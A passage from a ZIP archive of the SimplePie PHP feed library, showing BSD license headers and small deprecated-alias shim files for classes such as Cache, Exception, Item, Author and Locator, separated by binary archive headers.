 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcached;

class_exists('SimplePie\Cache\Memcached');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcached" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead */
    class SimplePie_Cache_Memcached extends Memcached
    {
    }
}
PKWd[N�h�	�	$library/SimplePie/Cache/Memcache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcache;

class_exists('SimplePie\Cache\Memcache');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead */
    class SimplePie_Cache_Memcache extends Memcache
    {
    }
}
PKWd[^�A{	{	 library/SimplePie/Cache/Base.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Base;

interface_exists('SimplePie\Cache\Base');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Base" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead */
    interface SimplePie_Cache_Base extends Base
    {
    }
}
PKWd[y��s	s	 library/SimplePie/Cache/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\File;

class_exists('SimplePie\Cache\File');

// @trigger_error(sprintf('Using the "SimplePie_Cache_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead */
    class SimplePie_Cache_File extends File
    {
    }
}
PKWd[���V	V	library/SimplePie/Cache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache;

class_exists('SimplePie\Cache');

// @trigger_error(sprintf('Using the "SimplePie_Cache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead */
    class SimplePie_Cache extends Cache
    {
    }
}
PKWd[�lv�	�	library/SimplePie/Exception.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Exception as SimplePieException;

class_exists('SimplePie\Exception');

// @trigger_error(sprintf('Using the "SimplePie_Exception" class is deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead */
    class SimplePie_Exception extends SimplePieException
    {
    }
}
PKWd[K��
k	k	library/SimplePie/Category.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Category;

class_exists('SimplePie\Category');

// @trigger_error(sprintf('Using the "SimplePie_Category" class is deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead */
    class SimplePie_Category extends Category
    {
    }
}
PKWd[��uw�	�	*library/SimplePie/Content/Type/Sniffer.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Content\Type\Sniffer;

class_exists('SimplePie\Content\Type\Sniffer');

// @trigger_error(sprintf('Using the "SimplePie_Content_Type_Sniffer" class is deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead */
    class SimplePie_Content_Type_Sniffer extends Sniffer
    {
    }
}
PKWd[R���r	r	library/SimplePie/Copyright.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Copyright;

class_exists('SimplePie\Copyright');

// @trigger_error(sprintf('Using the "SimplePie_Copyright" class is deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead */
    class SimplePie_Copyright extends Copyright
    {
    }
}
PKWd[$��Fd	d	library/SimplePie/Locator.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Locator;

class_exists('SimplePie\Locator');

// @trigger_error(sprintf('Using the "SimplePie_Locator" class is deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead */
    class SimplePie_Locator extends Locator
    {
    }
}
PKWd[!70tO	O	library/SimplePie/Item.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Item;

class_exists('SimplePie\Item');

// @trigger_error(sprintf('Using the "SimplePie_Item" class is deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead */
    class SimplePie_Item extends Item
    {
    }
}
PKWd[��(�]	]	library/SimplePie/Author.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Author;

class_exists('SimplePie\Author');

// @trigger_error(sprintf('Using the "SimplePie_Author" class is deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead */
    class SimplePie_Author extends Author
    {
    }
}
PKWd[�ْd	d	library/SimplePie/Caption.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
